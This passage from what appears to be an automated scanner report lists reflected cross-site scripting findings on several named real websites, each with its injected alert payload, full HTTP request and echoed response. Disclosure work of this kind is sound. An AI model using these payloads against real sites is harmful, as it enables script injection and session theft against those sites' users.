HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:11 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674591+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674591; expires=Thu, 02-Feb-2012 19:23:11 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:11 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53276
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4e83"><script>alert(1)</script>db25147c9c7 was submitted in the REST URL parameter 4. This input was echoed as d4e83\"><script>alert(1)</script>db25147c9c7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-includes/js/jqueryd4e83"><script>alert(1)</script>db25147c9c7/jquery.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:12 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674592+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674593; expires=Thu, 02-Feb-2012 19:23:13 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:13 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53277
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9baba"><script>alert(1)</script>5354db22a2c was submitted in the REST URL parameter 5. This input was echoed as 9baba\"><script>alert(1)</script>5354db22a2c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-includes/js/jquery/jquery.js9baba"><script>alert(1)</script>5354db22a2c HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:23:13 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674594+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674594; expires=Thu, 02-Feb-2012 19:23:14 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:23:14 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53278
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7b7c5"-alert(1)-"0052ce52990 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmark.php7b7c5"-alert(1)-"0052ce52990 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Tue, 01 Feb 2011 15:38:35 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=etee9v0mo7s339efrl5f6v3n43; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1497 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <script type="text/javascript"> var u = "/404/bookmark.php7b7c5"-alert(1)-"0052ce52990"; if (typeof utmx != "undefined" && utmx('combination') != undefined) { u += (u.indexOf("?") == -1 ? '?' : '&') + 'com=' + utmx('combination'); } if (window._gat) { var gaPageTracker = _gat._get ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a38f0<script>alert(1)</script>9726beaea83 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bookmark.phpa38f0<script>alert(1)</script>9726beaea83 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Tue, 01 Feb 2011 15:38:35 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=k78r7pgsm4fr4lff7iqm85a8p6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1523 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <strong>bookmark.phpa38f0<script>alert(1)</script>9726beaea83</strong> ...[SNIP]...
4.326. http://www.addthis.com/bookmark.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.addthis.com
Path:
/bookmark.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da82f"%20style%3dx%3aexpression(alert(1))%2029d0b5c18ba was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as da82f\" style=x:expression(alert(1)) 29d0b5c18ba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /bookmark.php?v=250&username=mc/da82f"%20style%3dx%3aexpression(alert(1))%2029d0b5c18bailus HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:42:55 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 94197
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <input type="hidden" id="pub" name="pub" value="mc/da82f\" style=x:expression(alert(1)) 29d0b5c18bailus" /> ...[SNIP]...
4.327. http://www.addthis.com/bookmark.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.addthis.com
Path:
/bookmark.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0096"-alert(1)-"e20af2b4cfa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmark.php/c0096"-alert(1)-"e20af2b4cfa HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:38:33 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/ Content-Length: 93980
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <script type="text/javascript"> var u = "/bookmark.php/c0096"-alert(1)-"e20af2b4cfa"; if (typeof utmx != "undefined" && utmx('combination') != undefined) { u += (u.indexOf("?") == -1 ? '?' : '&') + 'com=' + utmx('combination'); } if (window._gat) { var gaPageTracker = _gat._get ...[SNIP]...
The value of the username request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be264"%20style%3dx%3aexpression(alert(1))%20a7df52ee127 was submitted in the username parameter. This input was echoed as be264\" style=x:expression(alert(1)) a7df52ee127 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /bookmark.php?v=250&username=mcilusbe264"%20style%3dx%3aexpression(alert(1))%20a7df52ee127 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:42:53 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 94189
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <input type="hidden" id="pub" name="pub" value="mcilusbe264\" style=x:expression(alert(1)) a7df52ee127" /> ...[SNIP]...
The value of the v request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 696ca"style%3d"x%3aexpression(alert(1))"f3f01901aca was submitted in the v parameter. This input was echoed as 696ca"style="x:expression(alert(1))"f3f01901aca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /bookmark.php?v=250696ca"style%3d"x%3aexpression(alert(1))"f3f01901aca&username=mcilus HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:42:52 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 94014
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <input type="hidden" id="source" name="source" value="bkm-250696ca"style="x:expression(alert(1))"f3f01901aca" /> ...[SNIP]...
The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload 9c4b4<script>alert(1)</script>af757eb65d0 was submitted in the uid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /newsletter?uid=90d583b---24cb6%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E78300d896e19c4b4<script>alert(1)</script>af757eb65d0 HTTP/1.1 Host: www.astaro.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1296493738.1.1.utmcsr=whitepapers.scmagazineuk.com|utmccn=(referral)|utmcmd=referral|utmcct=/astaro; SESS0cd45998089deffdc1539a43740a199d=7q0dud1mpbcvtrm9piqskj3qd1; __unam=fa38af9-12dddaf19a7-13ff2714-1; k_visit=1; __utmz=112476180.1296504424.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; __utma=112476180.1215039085.1296493738.1296493738.1296504424.2; __utma=1.546991621.1296493738.1296493738.1296493738.1
The value of the siteID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a0cf8"%3balert(1)//cf9b759ede9 was submitted in the siteID parameter. This input was echoed as a0cf8";alert(1)//cf9b759ede9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?WT.mc_id=3499&siteID=3499a0cf8"%3balert(1)//cf9b759ede9 HTTP/1.1 Host: www.autocheck.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:43:06 GMT Server: Apache Set-Cookie: Apache=173.193.214.243.119221296661386602; path=/; expires=Fri, 04-Mar-11 15:43:06 GMT Cache-Control: private P3P: policyref="http://www.autocheck.com/w3c/p3p.xml", CP="NON DSP COR NID TAIa OUR NOR STA" Cache-Control: private Set-Cookie: referralCookie=cWs7WQE0rZngyYQcN3; path=/; expires=Fri, 04-Mar-2011 15:43:12 GMT Set-Cookie: JSESSIONID=cWs7WQE0rZngyYQcN3; path=/ Connection: close Content-Type: text/html Content-Length: 30580
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1 ...[SNIP]... <!-- var opt_siteId="3499a0cf8";alert(1)//cf9b759ede9"; var opt_marketing_code=""; var opt_banner_id=""; //--> ...[SNIP]...
The value of the siteID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d3c6"><script>alert(1)</script>713dc893771 was submitted in the siteID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?WT.mc_id=3499&siteID=34996d3c6"><script>alert(1)</script>713dc893771 HTTP/1.1 Host: www.autocheck.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:43:06 GMT Server: Apache Set-Cookie: Apache=173.193.214.243.132231296661386218; path=/; expires=Fri, 04-Mar-11 15:43:06 GMT Cache-Control: private P3P: policyref="http://www.autocheck.com/w3c/p3p.xml", CP="NON DSP COR NID TAIa OUR NOR STA" Cache-Control: private Set-Cookie: referralCookie=bIZSzpUOcIr54GQcN3; path=/; expires=Fri, 04-Mar-2011 15:43:11 GMT Set-Cookie: JSESSIONID=bIZSzpUOcIr54GQcN3; path=/ Connection: close Content-Type: text/html Content-Length: 30844
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5e387<script>alert(1)</script>418e066417d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /~jkorpela5e387<script>alert(1)</script>418e066417d/quirks-mode.html, HTTP/1.1 Host: www.cs.tut.fi Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 04:07:36 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 1567
<p> <font size="-1" color="gray"> This server is <code>www.cs.tut.fi</code>, located at <a href="http://www ...[SNIP]... <code> GET http://www.cs.tut.fi/~jkorpela5e387<script>alert(1)</script>418e066417d/quirks-mode.html, (error code: 404) </code> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dcabd"><script>alert(1)</script>2e234cdb39e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /~jkorpeladcabd"><script>alert(1)</script>2e234cdb39e/quirks-mode.html, HTTP/1.1 Host: www.cs.tut.fi Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 04:07:33 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 1573
<p> <font size="-1" color="gray"> This server is <code>www.cs.tut.fi</code>, located at <a href="http://www ...[SNIP]... <a href="http://www.tut.fi/~jkorpeladcabd"><script>alert(1)</script>2e234cdb39e/quirks-mode.html,"> ...[SNIP]...
The value of the afterLogin request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90c4e"style%3d"x%3aexpression(alert(1))"91e1a856a5b was submitted in the afterLogin parameter. This input was echoed as 90c4e"style="x:expression(alert(1))"91e1a856a5b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /account/simple_login.aspx?afterLogin=90c4e"style%3d"x%3aexpression(alert(1))"91e1a856a5b HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:13 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 7281
<!DOCTYPE html> <html id="www-ehow-com"> <head> <title>Sign in to your eHow Account</title> <meta name="siteid" scheme="DMINSTR2" content="EHWC" /> <meta name="pagetype" scheme="DMINSTR2 ...[SNIP]... <form action="http://www.ehow.com/account/simple_login.aspx?afterLogin=90c4e"style="x:expression(alert(1))"91e1a856a5b" method="post"> ...[SNIP]...
The value of the afterLogin request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7d0d0'%3balert(1)//1fa3188652 was submitted in the afterLogin parameter. This input was echoed as 7d0d0';alert(1)//1fa3188652 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /account/simple_login.aspx?afterLogin=7d0d0'%3balert(1)//1fa3188652 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:14 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 7241
<!DOCTYPE html> <html id="www-ehow-com"> <head> <title>Sign in to your eHow Account</title> <meta name="siteid" scheme="DMINSTR2" content="EHWC" /> <meta name="pagetype" scheme="DMINSTR2 ...[SNIP]... ownerid : dlabs.user.id, cookie : '', session : 'axi0su55dyp0oq45zse1qr55', userid : dlabs.user.id, username : dlabs.user.name }; var afterLogin = '7d0d0';alert(1)//1fa3188652';
The value of the afterLogin request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff930'%3balert(1)//5c2172634b4 was submitted in the afterLogin parameter. This input was echoed as ff930';alert(1)//5c2172634b4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /account/simple_register.aspx?afterLogin=submit_frmMailff930'%3balert(1)//5c2172634b4 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.4.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:44:59 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 22050
4.338. http://www.ehow.com/arts-and-crafts/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/arts-and-crafts/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dbed2'-alert(1)-'b6ad201675f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /arts-and-crafts/?dbed2'-alert(1)-'b6ad201675f=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:23 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72069
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Arts & Crafts - How To Information | eHow.com</ti ...[SNIP]... <fb:like href="http://www.ehow.com/arts-and-crafts/?dbed2'-alert(1)-'b6ad201675f=1" ref="like" width="300"> ...[SNIP]...
4.339. http://www.ehow.com/arts-and-entertainment/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/arts-and-entertainment/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d59da'-alert(1)-'dafe2f9e7e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /arts-and-entertainment/?d59da'-alert(1)-'dafe2f9e7e8=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:22 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72268
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Arts & Entertainment - How To Information | eHow. ...[SNIP]... <fb:like href="http://www.ehow.com/arts-and-entertainment/?d59da'-alert(1)-'dafe2f9e7e8=1" ref="like" width="300"> ...[SNIP]...
4.340. http://www.ehow.com/beauty-and-personal-care/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/beauty-and-personal-care/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ce2c5'-alert(1)-'b84718647fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
